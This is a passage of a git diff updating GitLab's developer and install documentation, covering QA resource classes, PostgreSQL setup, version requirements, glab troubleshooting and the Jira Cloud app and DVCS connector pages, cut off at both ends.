[`production-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/production-sanity/master/index.html) +- [`master`](http://gitlab-qa-allure-reports.s3.amazonaws.com/e2e-package-and-test/master/index.html) +- [`staging-full`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-full/master/index.html) +- [`staging-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-sanity/master/index.html) +- [`staging-sanity-no-admin`](http://gitlab-qa-allure-reports.s3.amazonaws.com/staging-sanity-no-admin/master/index.html) +- [`canary-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/canary-sanity/master/index.html) +- [`production`](http://gitlab-qa-allure-reports.s3.amazonaws.com/production-full/master/index.html) +- [`production-sanity`](http://gitlab-qa-allure-reports.s3.amazonaws.com/production-sanity/master/index.html) ## How do you run the tests? diff --git a/doc/development/testing_guide/end_to_end/resources.md b/doc/development/testing_guide/end_to_end/resources.md index 6e29e9b9dff..37d354bf60c 100644 --- a/doc/development/testing_guide/end_to_end/resources.md +++ b/doc/development/testing_guide/end_to_end/resources.md @@ -8,17 +8,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w Resources are primarily created using Browser UI steps, but can also be created via the API or the CLI. -A typical resource class is used to create a new resource that can be used in a single test. However, several tests can -end up creating the same kind of resource and use it in ways that mean it could have been -used by more than one test. Creating a new resource each time is not efficient. Therefore, we can also create reusable -resources that are created once and can then be used by many tests. - -In the following section the content focuses on single-use resources, however it also applies to reusable resources. -Information specific to [reusable resources is detailed below](#reusable-resources). - ## How to properly implement a resource class? -All non-reusable resource classes should inherit from `Resource::Base`. +All resource classes should inherit from `Resource::Base`. There is only one mandatory method to implement to define a resource class. This is the `#fabricate!` method, which is used to build the resource via the @@ -398,176 +390,6 @@ end In this case, the result is similar to calling `Resource::Shirt.fabricate!`. -## Reusable resources - -Reusable resources are created by the first test that needs a particular kind of resource, and then any test that needs -the same kind of resource can reuse it instead of creating a new one. - -The `ReusableProject` resource is an example of this class: - -```ruby -module QA - module Resource - class ReusableProject < Project # A reusable resource inherits from the resource class that we want to be able to reuse. - prepend Reusable # The Reusable module mixes in some methods that help implement reuse. - - def initialize - super # A ReusableProject is a Project so it should be initialized as one. - - # Some Project attributes aren't valid and need to be overridden. For example, a ReusableProject keeps its name once it's created, - # so we don't add a random string to the name specified. - @add_name_uuid = false - - # It has a default name, and a different name can be specified when a resource is first created. However, the same name must be - # provided any time that instance of the resource is used. - @name = "reusable_project" - - # Several instances of a ReusableProject can exists as long as each is identified via a unique value for `reuse_as`. - @reuse_as = :default_project - end - - # All reusable resource classes must validate that an instance meets the conditions that allow reuse. For example, - # by confirming that the name specified for the instance is valid and doesn't conflict with other instances. - def validate_reuse_preconditions - raise ResourceReuseError unless reused_name_valid? - end - - # Internally we identify an instance of a reusable resource by a unique value of `@reuse_as`, but in GitLab the - # resource has one or more attributes that must also be unique. This method lists those attributes and allows the - # test framework to check that each instance of a reusable resource has values that match the associated values - # in Gitlab. - def unique_identifiers - [:name, :path] - end - end - end -end -``` - -Reusable resources aren't removed immediately when `remove_via_api!` is called. Instead, they're removed after the test -suite completes. To do so each class must be registered with `QA::Resource::ReusableCollection` in `qa/spec/spec_helper.rb` -as in the example below. Registration allows `QA::Resource::ReusableCollection` to keep track of each instance of each -registered class, and to delete them all in the `config.after(:suite)` hook. - -```ruby -config.before(:suite) do |suite| - QA::Resource::ReusableCollection.register_resource_classes do |collection| - QA::Resource::ReusableProject.register(collection) - end -end -``` - -Consider some examples of how a reusable resource is used: - -```ruby -# This will create a project. -default_project = Resource::ReusableProject.fabricate_via_api! -default_project.name # => "reusable_project" -default_project.reuse_as # => :default_project -``` - -Then in another test we could reuse the project: - -```ruby -# This will fetch the project created above rather than creating a new one. -default_project_again = Resource::ReusableProject.fabricate_via_api! -default_project_again.name # => "reusable_project" -default_project_again.reuse_as # => :default_project -``` - -We can also create another project that we want to change in a way that might not be suitable for tests using the -default project: - -```ruby -project_with_member = Resource::ReusableProject.fabricate_via_api! do |project| - project.name = "project-with-member" - project.reuse_as = :project_with_member -end - -project_with_member.add_member(user) -``` - -Another test can reuse that project: - -```ruby -project_still_has_member = Resource::ReusableProject.fabricate_via_api! do |project| - project.name = "project-with-member" - project.reuse_as = :project_with_member -end - -expect(project_still_has_member).to have_member(user) -``` - -However, if we don't provide the name again an error will be raised: - -```ruby -Resource::ReusableProject.fabricate_via_api! do |project| - project.reuse_as = :project_with_member -end - -# => ResourceReuseError will be raised because it will try to use the default name, "reusable_project", which doesn't -# match the name specified when the project was first fabricated. -``` - -### Validating reusable resources - -Reusable resources can speed up test suites by avoiding the cost of creating the same resource again and again. However, -that can cause problems if a test makes changes to a resource that prevent it from being reused as expected by later -tests. That can lead to order-dependent test failures that can be difficult to troubleshoot. - -For example, the default project created by `QA::Resource::ReusableProject` has `auto_devops_enabled` set to `false` -(inherited from `QA::Resource::Project`). If a test reuses that project and enables Auto DevOps, subsequent tests that reuse -the project will fail if they expect Auto DevOps to be disabled. - -We try to avoid that kind of trouble by validating reusable resources after a test suite. If the environment variable -`QA_VALIDATE_RESOURCE_REUSE` is set to `true` the test framework will check each reusable resource to verify that none -of the attributes they were created with have been changed. It does that by creating a new resource using the same -attributes that were used to create the original resource. It then compares the new resource to the original and raises -an error if any attributes don't match. - -#### Implementation - -When you implement a new type of reusable resource there are two `private` methods you must implement so the resource -can be validated. They are: - -- `reference_resource`: creates a new instance of the resource that can be compared with the one that was used during the tests. -- `unique_identifiers`: returns an array of attributes that allow the resource to be identified (for example, name) and that are therefore -expected to differ when comparing the reference resource with the resource reused in the tests. - -The following example shows the implementation of those two methods in `QA::Resource::ReusableProject`. - -```ruby -# Creates a new project that can be compared to a reused project, using the attributes of the original. -# -# @return [QA::Resource] a new instance of Resource::ReusableProject that should be a copy of the original resource -def reference_resource - # These are the attributes that the reused resource was created with - attributes = self.class.resources[reuse_as][:attributes] - - # Two projects can't have the same path, and since we typically use the same value for the name and path, we assign - # a unique name and path to the reference resource. - name = "reference_resource_#{SecureRandom.hex(8)}_for_#{attributes.delete(:name)}" - - Project.fabricate_via_api! do |project| - self.class.resources[reuse_as][:attributes].each do |attribute_name, attribute_value| - project.instance_variable_set("@#{attribute_name}", attribute_value) if attribute_value - end - project.name = name - project.path = name - project.path_with_namespace = "#{project.group.full_path}/#{project.name}" - end -end - -# The attributes of the resource that should be the same whenever a test wants to reuse a project. -# -# @return [Array<Symbol>] the attribute names. -def unique_identifiers - # As noted above, path must be unique, and since we typically use the same value for both, we treat name and path - # as unique. These attributes are ignored when we compare the reference and reused resources. - [:name, :path] -end -``` - ### Resources cleanup We have a mechanism to [collect](https://gitlab.com/gitlab-org/gitlab/-/blob/44345381e89d6bbd440f7b4c680d03e8b75b86de/qa/qa/tools/test_resource_data_processor.rb#L32) diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 2fa5fdeab7d..85d807eceb1 100644 --- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -1368,7 +1368,7 @@ You can also prefix this command with `WEBDRIVER_HEADLESS=0` which will run the ```ruby require 'spec_helper' ``` - + Import any other relevant module. 1. Create a global scope for RSpec to define our tests, just like what we do in jest with the initial describe block. @@ -1414,7 +1414,7 @@ Most feature tests at least require you to create a user, because you want to be This creates a variable that holds the newly created user and we can use `create` because we imported the `spec_helper`. -However, we have not done anything with this user yet because it's just a variable. So, in the `before do` block of the spec, we could sign in with the user so that every spec starts with a signed in user. +However, we have not done anything with this user yet because it's just a variable. So, in the `before do` block of the spec, we could sign in with the user so that every spec starts with an authenticated user. ```ruby let(:user) { create(:user) } diff --git a/doc/development/testing_guide/img/testing_triangle.png b/doc/development/testing_guide/img/testing_triangle.png Binary files differindex 3ac4955eaff..747bad1d52d 100644 --- a/doc/development/testing_guide/img/testing_triangle.png +++ b/doc/development/testing_guide/img/testing_triangle.png diff --git a/doc/development/testing_guide/testing_migrations_guide.md b/doc/development/testing_guide/testing_migrations_guide.md index b276a7e2a3a..1b1fdcca003 100644 --- a/doc/development/testing_guide/testing_migrations_guide.md +++ b/doc/development/testing_guide/testing_migrations_guide.md @@ -17,6 +17,8 @@ a database schema. - If your migration is a data migration then it **must** have a migration test. - Other migrations may have a migration test if necessary. +We don't enforce tests on post migrations that only perform schema changes. + ## How does it work? Adding a `:migration` tag to a test signature enables some custom RSpec diff --git a/doc/development/utilities.md b/doc/development/utilities.md index 58954101890..343d03b9d68 100644 --- a/doc/development/utilities.md +++ b/doc/development/utilities.md @@ -188,7 +188,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/maste def enabled? Feature.enabled?(:some_feature) end - strong_memoize_attr :enabled?, :enabled + strong_memoize_attr :enabled? end ``` diff --git a/doc/development/value_stream_analytics.md b/doc/development/value_stream_analytics.md index 2d5f33b5dae..33a6744d5cd 100644 --- a/doc/development/value_stream_analytics.md +++ b/doc/development/value_stream_analytics.md @@ -261,7 +261,7 @@ considered legacy, which will be phased out at some point. - Rails Controller (`Analytics::CycleAnalytics` module): Value stream analytics exposes its data via JSON endpoints, implemented within the `analytics` workspace. Configuring the stages are also implements JSON endpoints (CRUD). - Services (`Analytics::CycleAnalytics` module): All `Stage` related actions are delegated to respective service objects. -- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `GroupStage`. +- Models (`Analytics::CycleAnalytics` module): Models are used to persist the `Stage` objects `ProjectStage` and `Stage`. - Feature classes (`Gitlab::Analytics::CycleAnalytics` module): - Responsible for composing queries and define feature specific business logic. - `DataCollector`, `Event`, `StageEvents`, etc. diff --git a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md index 5bcadc6f39b..3d1286a5809 100644 --- a/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md +++ b/doc/development/value_stream_analytics/value_stream_analytics_aggregated_backend.md @@ -273,7 +273,7 @@ attributes. - `stages` - Load the stages for the currently selected value stream. - `median` - For each stage, request the median duration. - `count` - For each stage, request the number of items in the stage (this is a -[limit count](../merge_request_performance_guidelines.md#badge-counters), maximum 1000 rows). +[limit count](../merge_request_concepts/performance.md#badge-counters), maximum 1000 rows). - `average_duration_chart` - Data for the duration chart. - `summary`, `time_summary` - Top-level aggregations, most of the metrics are using different APIs/ finders and not invoking the aggregated backend. diff --git a/doc/development/wikis.md b/doc/development/wikis.md index 67dc567cc5f..4541b6cca66 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w description: "GitLab's development guidelines for Wikis" --- -# Wikis development guide **(FREE)** +# Wikis development guide > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227027) in GitLab 13.5. diff --git a/doc/development/workspace/index.md b/doc/development/workspace/index.md index f4738e3fc31..0e0b6943a0b 100644 --- a/doc/development/workspace/index.md +++ b/doc/development/workspace/index.md @@ -4,19 +4,19 @@ type: index, dev stage: none group: Development info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments-to-development-guidelines" -description: "Development Guidelines: learn about workspace when developing GitLab." +description: "Development Guidelines: learn about organization when developing GitLab." --- -# Workspace +# Organization -The [Workspace initiative](../../user/workspace/index.md) focuses on reaching feature parity between +The [Organization initiative](../../user/workspace/index.md) focuses on reaching feature parity between SaaS and self-managed installations. ## Consolidate groups and projects - [Architecture blueprint](../../architecture/blueprints/consolidating_groups_and_projects/index.md) -One facet of the workspace initiative is to consolidate groups and projects, +One facet of the Organization initiative is to consolidate groups and projects, addressing the feature disparity between them. Some features, such as epics, are only available at the group level. Some features, such as issues, are only available at the project level. Other features, such as milestones, are available to both groups @@ -87,7 +87,7 @@ After this work completes, we must migrate data as described in ### Phase 2 - [Phase 2 epic](https://gitlab.com/groups/gitlab-org/-/epics/6768). -- **Goal**: Make `ProjectNamespace` the front entity to interact with instead of `Project`. +- **Goal**: Link `ProjectNamespace` to other entities on the database level. In this phase: @@ -97,6 +97,10 @@ In this phase: - Raise awareness to avoid regressions, and conflicting or duplicate work that can be dealt with before phase 3. +### Phase 3 + +- [Phase 3 epic](https://gitlab.com/groups/gitlab-org/-/epics/6585). +- **Goal**: Achieve feature parity between the namespace types. Problems to solve as part of this phase: - Routes handling through `ProjectNamespace` rather than `Project`. @@ -105,16 +109,51 @@ Problems to solve as part of this phase: - Import and export. - Other interactions between project namespace and project models. -### Phase 3 - -- [Phase 3 epic](https://gitlab.com/groups/gitlab-org/-/epics/6585). -- **Goal**: Feature parity between the namespace types. - Phase 3 is when the active migration of features from `Project` to `ProjectNamespace`, or directly to `Namespace`, happens. +### How to plan features that interact with Group and ProjectNamespace + +As of now, every Project in the system has a record in the `namespaces` table. This makes it possible to +use common interface to create features that are shared between Groups and Projects. Shared behavior can be added using +a concerns mechanism. Because the `Namespace` model is responsible for `UserNamespace` methods as well, it is discouraged +to use the `Namespace` model for shared behavior for Projects and Groups. + +#### Resource-based features + +To migrate resource-based features, existing functionality will need to be supported. This can be achieved in two Phases. + +**Phase 1 - Setup** + +- Link into the namespaces table + - Add a column to the table + - For example, in issues a `project id` points to the projects table. We need to establish a link to the `namespaces` table. + - Modify code so that any new record already has the correct data in it + - Backfill + +**Phase 2 - Prerequisite work** + +- Investigate the permission model as well as any performance concerns related to that. + - Permissions need to be checked and kept in place. +- Investigate what other models need to support namespaces for functionality dependent on features you migrate in Phase 1. +- Adjust CRUD services and APIs (REST and GraphQL) to point to the new column you added in Phase 1. +- Consider performance when fetching resources. + +Introducing new functionality is very much dependent on every single team and feature. + +#### Settings-related features + +Right now, cascading settings are available for `NamespaceSettings`. By creating `ProjectNamespace`, +we can use this framework to make sure that some settings are applicable on the project level as well. + +When working on settings, we need to make sure that: + +- They are not used in `join` queries or modify those queries. +- Updating settings is taken into consideration. +- If we want to move from project to project namespace, we follow a similar database process to the one described in [Phase 1](#phase-1). + ## Related topics - [Consolidating groups and projects](../../architecture/blueprints/consolidating_groups_and_projects/index.md) architecture documentation -- [Workspace user documentation](../../user/workspace/index.md) +- [Organization user documentation](../../user/workspace/index.md) diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index 61b06fb106a..addeb4bee3a 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -211,7 +211,7 @@ The remote tells Git where to push or pull from. To add a remote to your local copy: -1. In GitLab, [create a project](../user/project/working_with_projects.md#create-a-project) to hold your files. +1. In GitLab, [create a project](../user/project/index.md#create-a-project) to hold your files. 1. Visit this project's homepage, scroll down to **Push an existing folder**, and copy the command that starts with `git remote add`. 1. On your computer, open the terminal in the directory you've initialized, paste the command you copied, and press <kbd>enter</kbd>: diff --git a/doc/install/installation.md b/doc/install/installation.md index 1191b32181e..68c2b663566 100644 --- a/doc/install/installation.md +++ b/doc/install/installation.md @@ -50,7 +50,7 @@ If the highest number stable branch is unclear, check the [GitLab blog](https:// | ------------------ | --------------- |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Ruby](#2-ruby) | `2.7` | From GitLab 13.6, Ruby 2.7 is required. Ruby 3.0 is not supported yet (see [the relevant epic](https://gitlab.com/groups/gitlab-org/-/epics/5149) for the current status). You must use the standard MRI implementation of Ruby. We love [JRuby](https://www.jruby.org/) and [Rubinius](https://github.com/rubinius/rubinius#the-rubinius-language-platform), but GitLab needs several Gems that have native extensions. | | [Go](#3-go) | `1.18` | From GitLab 15.6, Go 1.18 or later is required. | -| [Git](#git) | `2.37.x` | From GitLab 15.6, Git 2.37.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). | +| [Git](#git) | `2.38.x` | From GitLab 15.8, Git 2.38.x and later is required. It's highly recommended that you use the [Git version provided by Gitaly](#git). | | [Node.js](#4-node) | `16.15.0` | From GitLab 15.7, Node.js 16.15.0 or later is required. | ## GitLab directory structure @@ -344,6 +344,12 @@ In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later sudo -u postgres psql -d template1 -c "CREATE EXTENSION IF NOT EXISTS btree_gist;" ``` +1. Create the `plpgsql` extension: + + ```shell + sudo -u postgres psql -d template1 -c "CREATE EXTENSION IF NOT EXISTS plpgsql;" + ``` + 1. Create the GitLab production database and grant all privileges on the database: ```shell @@ -392,6 +398,24 @@ In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 14.0 and later (1 row) ``` +1. Check if the `plpgsql` extension is enabled: + + ```sql + SELECT true AS enabled + FROM pg_available_extensions + WHERE name = 'plpgsql' + AND installed_version IS NOT NULL; + ``` + + If the extension is enabled this produces the following output: + + ```plaintext + enabled + --------- + t + (1 row) + ``` + 1. Quit the database session: ```shell diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 7fcb371c178..70a9358ff7f 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -120,6 +120,18 @@ test based on those. We try to be compatible with most external (not managed by Omnibus GitLab) databases (for example, [AWS Relational Database Service (RDS)](https://aws.amazon.com/rds/)), but we can't guarantee compatibility. +#### Operating system locale compatibility and silent index corruption + +Changes to locale data in `glibc` means that PostgreSQL database files are not fully compatible +between different OS releases. + +To avoid index corruption, [check for locale compatibility](../administration/geo/replication/troubleshooting.md#check-os-locale-data-compatibility) +when: + +- Moving binary PostgreSQL data between servers. +- Upgrading your Linux distribution. +- Updating or changing third party container images. + #### Gitaly Cluster database requirements [Read more in the Gitaly Cluster documentation](../administration/gitaly/praefect.md). @@ -235,8 +247,8 @@ works. ### Puma per worker maximum memory -By default, each Puma worker is limited to 1024 MB of memory. -This setting [can be adjusted](../administration/operations/puma.md#change-the-memory-limit-setting) and should be considered +By default, each Puma worker is limited to 1.2 GB of memory. +You can [adjust this memory setting](../administration/operations/puma.md#reducing-memory-use) and should do so if you must increase the number of Puma workers. ## Redis and Sidekiq diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md index 1b0a1e50445..0ee5b70c958 100644 --- a/doc/integration/gitlab.md +++ b/doc/integration/gitlab.md @@ -77,8 +77,8 @@ GitLab.com generates an application ID and secret key for you to use. label: "Provider name", # optional label for login button, defaults to "GitLab.com" app_id: "YOUR_APP_ID", app_secret: "YOUR_APP_SECRET", - args: { scope: "read_user" # optional: defaults to the scopes of the application - , client_options: { site: "https://gitlab.example.com" } } + args: { scope: "read_user", # optional: defaults to the scopes of the application + client_options: { site: "https://gitlab.example.com" } } } ] ``` diff --git a/doc/integration/glab/index.md b/doc/integration/glab/index.md index 3951f38dfab..e71f49905c8 100644 --- a/doc/integration/glab/index.md +++ b/doc/integration/glab/index.md @@ -78,3 +78,27 @@ to send us feedback. - [Documentation](https://gitlab.com/gitlab-org/cli/-/tree/main/docs/source) - The extension source code is available in the [`cli`](https://gitlab.com/gitlab-org/cli/) project. + +## Troubleshooting + +### `glab completion` commands fail when using the 1Password shell plugin + +The [1Password shell plugin](https://developer.1password.com/docs/cli/shell-plugins/gitlab/) +adds the alias `glab='op plugin run -- glab'`, which can interfere with the `glab completion` +command. If your `glab completion` commands fail, configure your shell to prevent expanding aliases +before performing completions: + +- For Zsh, edit your `~/.zshrc` file and add this line: + + ```plaintext + setopt completealiases + ``` + +- For Bash, edit your `~/.bashrc` file and add this line: + + ```plaintext + complete -F _functionname glab + ``` + +For more information, see [issue 122](https://github.com/1Password/shell-plugins/issues/122) +for the 1Password shell plugin. diff --git a/doc/integration/google.md b/doc/integration/google.md index 3d174e56bf3..947bf0303be 100644 --- a/doc/integration/google.md +++ b/doc/integration/google.md @@ -51,7 +51,7 @@ In Google's side: 1. Go to the [Google API Console](https://console.developers.google.com/apis/dashboard). 1. Select **ENABLE APIS AND SERVICES** at the top of the page. - 1. Find each of the above APIs. On the page for the API, press the **ENABLE** button. + 1. Find each of the above APIs. On the page for the API, select **ENABLE**. It may take a few minutes for the API to be fully functional. On your GitLab server: diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md index 513877a7b71..81ef5a21943 100644 --- a/doc/integration/jira/connect-app.md +++ b/doc/integration/jira/connect-app.md @@ -16,15 +16,15 @@ the GitLab.com for Jira Cloud app. ## Install the GitLab.com for Jira Cloud app **(FREE SAAS)** If you use GitLab.com and Jira Cloud, you can install the GitLab.com for Jira Cloud app. -If you do not use both of these environments, use the [Jira DVCS Connector](dvcs.md) or +If you do not use both of these environments, use the [Jira DVCS Connector](dvcs/index.md) or [install GitLab.com for Jira Cloud app for self-managed instances](#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). We recommend the GitLab.com for Jira Cloud app, because data is synchronized in real time. The DVCS connector updates data only once per hour. -The user configuring the GitLab.com for Jira Cloud app must have +To configure the GitLab.com for Jira Cloud app, you must have at least the Maintainer role in the GitLab.com namespace. -This integration method supports [Smart Commits](dvcs.md#smart-commits). +This integration method supports [Smart Commits](dvcs/index.md#smart-commits). <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For a walkthrough of the integration with GitLab.com for Jira Cloud app, watch @@ -41,14 +41,15 @@ To install the GitLab.com for Jira Cloud app: This page is always available under **Jira Settings > Apps > Manage apps**.  -1. If not already signed in to GitLab.com, you must sign in as a user with - the Maintainer role to add namespaces. +1. To add namespaces, ensure you're signed in to GitLab.com + as a user with at least the Maintainer role.  1. To open the list of available namespaces, select **Add namespace**. -1. Identify the namespace you want to link, and select **Link**. Only Jira site - administrators are permitted to add or remove namespaces for an installation. +1. Identify the namespace you want to link, and select **Link**. + - You must have at least the Maintainer role for the namespace. + - Only Jira site administrators can add or remove namespaces for an installation.  @@ -74,14 +75,7 @@ If the app requires additional permissions, [the update must first be manually a ## Connect the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)** -> - Introduced in GitLab 15.6 [with flags](../../administration/feature_flags.md) named [`jira_connect_oauth_self_managed_setting`](https://gitlab.com/gitlab-org/gitlab/-/issues/377679), [`jira_connect_oauth`](https://gitlab.com/gitlab-org/gitlab/-/issues/355048), and [`jira_connect_oauth_self_managed`](https://gitlab.com/gitlab-org/gitlab/-/issues/359940). Disabled by default. -> - Feature flag `jira_connect_oauth_self_managed_setting` [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105070) in GitLab 15.7. - -FLAG: -On self-managed GitLab, by default this feature is not available. To make it available, -ask an administrator to [enable the feature flags](../../administration/feature_flags.md) named -`jira_connect_oauth` and `jira_connect_oauth_self_managed`. On GitLab.com, this feature -is not available. The feature is not ready for production use. +> Introduced in GitLab 15.7. Prerequisites: @@ -92,6 +86,8 @@ Prerequisites: You can link self-managed instances after installing the GitLab.com for Jira Cloud app from the marketplace. Jira apps can only link to one URL per marketplace listing. The official listing links to GitLab.com. +It's not possible to create branches from Jira for self-managed instances. + ### Set up your instance To set up your self-managed instance for the GitLab.com for Jira Cloud app in GitLab 15.7 or later: @@ -187,9 +183,9 @@ NOTE: This method uses [automated updates](#update-the-gitlabcom-for-jira-cloud-app) the same way as our GitLab.com Marketplace listing. -## Troubleshoot GitLab.com for Jira Cloud app +## Troubleshooting -### Browser displays sign-in message when already signed in +### Browser displays a sign-in message when already signed in You might get the following message prompting you to sign in to GitLab.com when you're already signed in: @@ -198,8 +194,25 @@ when you're already signed in: You need to sign in or sign up before continuing. ``` -GitLab.com for Jira Cloud app uses an iframe to add namespaces on the +The GitLab.com for Jira Cloud app uses an iframe to add namespaces on the settings page. Some browsers block cross-site cookies, which can lead to this issue. -To resolve this issue, use [Firefox](https://www.mozilla.org/en-US/firefox/), -[Google Chrome](https://www.google.com/chrome/), or enable cross-site cookies in your browser. +To resolve this issue, use either [Firefox](https://www.mozilla.org/en-US/firefox/) or +[Chrome](https://www.google.com/chrome/) or enable cross-site cookies in your browser. + +### Manual installation fails + +You might get an error if you have installed the GitLab.com for Jira Cloud app from the official marketplace listing and replaced it with manual installation. To resolve this issue, disable the **Jira Connect Proxy URL** setting. + +- In GitLab 15.7: + + 1. Open a [Rails console](../../administration/operations/rails_console.md#starting-a-rails-console-session). + 1. Execute `ApplicationSetting.current_without_cache.update(jira_connect_proxy_url: nil)`. + +- In GitLab 15.8 and later: + + 1. On the top bar, select **Main menu > Admin**. + 1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`). + 1. Expand the **GitLab for Jira App** section. + 1. Clear the **Jira Connect Proxy URL** text box. + 1. Select **Save changes**. diff --git a/doc/integration/jira/development_panel.md b/doc/integration/jira/development_panel.md index bdb79d65d5e..ee671dde3a8 100644 --- a/doc/integration/jira/development_panel.md +++ b/doc/integration/jira/development_panel.md @@ -69,8 +69,8 @@ To simplify administration, we recommend that a GitLab group maintainer or group | Jira usage | GitLab.com customers need | GitLab self-managed customers need | |------------|---------------------------|------------------------------------| -| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This offers real-time sync between GitLab.com and Jira. For more information, see the documentation for the [GitLab.com for Jira Cloud app](connect-app.md). | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See the documentation for [installing the GitLab.com for Jira Cloud app for self-managed instances](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances) for more information. | -| Your own server | The [Jira DVCS (distributed version control system) connector](dvcs.md). This syncs data hourly. | The [Jira DVCS (distributed version control system) connector](dvcs.md). This syncs data hourly. | +| [Atlassian cloud](https://www.atlassian.com/migration/assess/why-cloud) | The [GitLab.com for Jira Cloud app](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). This method offers real-time sync between GitLab.com and Jira. For more information, see [GitLab.com for Jira Cloud app](connect-app.md). | The GitLab.com for Jira Cloud app [using a workaround](connect-app.md#install-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). When the `jira_connect_oauth_self_managed` feature flag is enabled, you can install the app from the [Atlassian Marketplace](https://marketplace.atlassian.com/). For more information, see [Connect the GitLab.com for Jira Cloud app for self-managed instances](connect-app.md#connect-the-gitlabcom-for-jira-cloud-app-for-self-managed-instances). | +| Your own server | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. | The [Jira DVCS (distributed version control system) connector](dvcs/index.md). This syncs data hourly. | Each GitLab project can be configured to connect to an entire Jira instance. That means after configuration, one GitLab project can interact with all Jira projects in that instance. For: diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs/index.md index 982c8203904..1fa96e20d01 100644 --- a/doc/integration/jira/dvcs.md +++ b/doc/integration/jira/dvcs/index.md @@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Use the Jira DVCS (distributed version control system) connector if you self-host your Jira instance, and you want to sync information between GitLab and Jira. If you use Jira Cloud, you should use the -[GitLab.com for Jira Cloud app](connect-app.md) unless you specifically need the +[GitLab.com for Jira Cloud app](../connect-app.md) unless you specifically need the DVCS connector. When you configure the Jira DVCS connector, make sure your GitLab and Jira instances @@ -72,14 +72,14 @@ you can still perform multiple actions in a single commit. For example: ## Configure a GitLab application for DVCS -For projects in a single group we recommend you create a [group application](../oauth_provider.md#group-owned-applications). +For projects in a single group we recommend you create a [group application](../../oauth_provider.md#create-a-group-owned-application). For projects across multiple groups we recommend you create and use a `jira` user in GitLab, and use the account only for integration work. A separate account ensures regular account maintenance does not affect your integration. If a `jira` user or group application is not feasible, -you can set up this integration as an [instance-wide application](../oauth_provider.md#instance-wide-applications) -or with a [user owned application](../oauth_provider.md#user-owned-applications) instead. +you can set up this integration as an [instance-wide application](../../oauth_provider.md#create-an-instance-wide-application) +or with a [user owned application](../../oauth_provider.md#create-a-user-owned-application) instead. -1. Navigate to the [appropriate **Applications** section](../oauth_provider.md#introduction-to-oauth). +1. Navigate to the [appropriate **Applications** section](../../oauth_provider.md). 1. In the **Name** field, enter a descriptive name for the integration, such as `Jira`. 1. In the **Redirect URI** field, enter the URI appropriate for your version of GitLab, replacing `<gitlab.example.com>` with your GitLab instance domain: @@ -138,7 +138,7 @@ it completes, refreshes every 60 minutes: To connect additional GitLab projects from other GitLab top-level groups or personal namespaces, repeat the previous steps with additional Jira DVCS accounts. -After you configure the integration, read more about [how to test and use it](development_panel.md). +After you configure the integration, read more about [how to test and use it](../development_panel.md). ## Refresh data imported to Jira @@ -149,138 +149,4 @@ can refresh the data manually from the Jira interface: 1. Go to **Settings (gear) > Applications**. 1. Select **DVCS accounts**. 1. In the table, for the repository you want to refresh, in the **Last Activity** - column, select the icon: -  - -## Troubleshoot your DVCS connection - -Refer to the items in this section if you're having problems with your DVCS connector. - -### Jira cannot access GitLab server - -If you complete the **Add New Account** form, authorize access, and you receive -this error, Jira and GitLab cannot connect. No other error messages -appear in any logs: - -```plaintext -Error obtaining access token. Cannot access https://gitlab.example.com from Jira. -``` - -### SSL and TLS problems - -Problems with SSL and TLS can cause this error message: - -```plaintext -Error obtaining access token. Cannot access https://gitlab.example.com from Jira. -``` - -- The [GitLab Jira integration](index.md) requires - GitLab to connect to Jira. Any TLS issues that arise from a private certificate - authority or self-signed certificate are resolved - [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates), - as GitLab is the TLS client. -- The Jira Development panel integration requires Jira to connect to GitLab, which - causes Jira to be the TLS client. If your GitLab server's certificate is not - issued by a 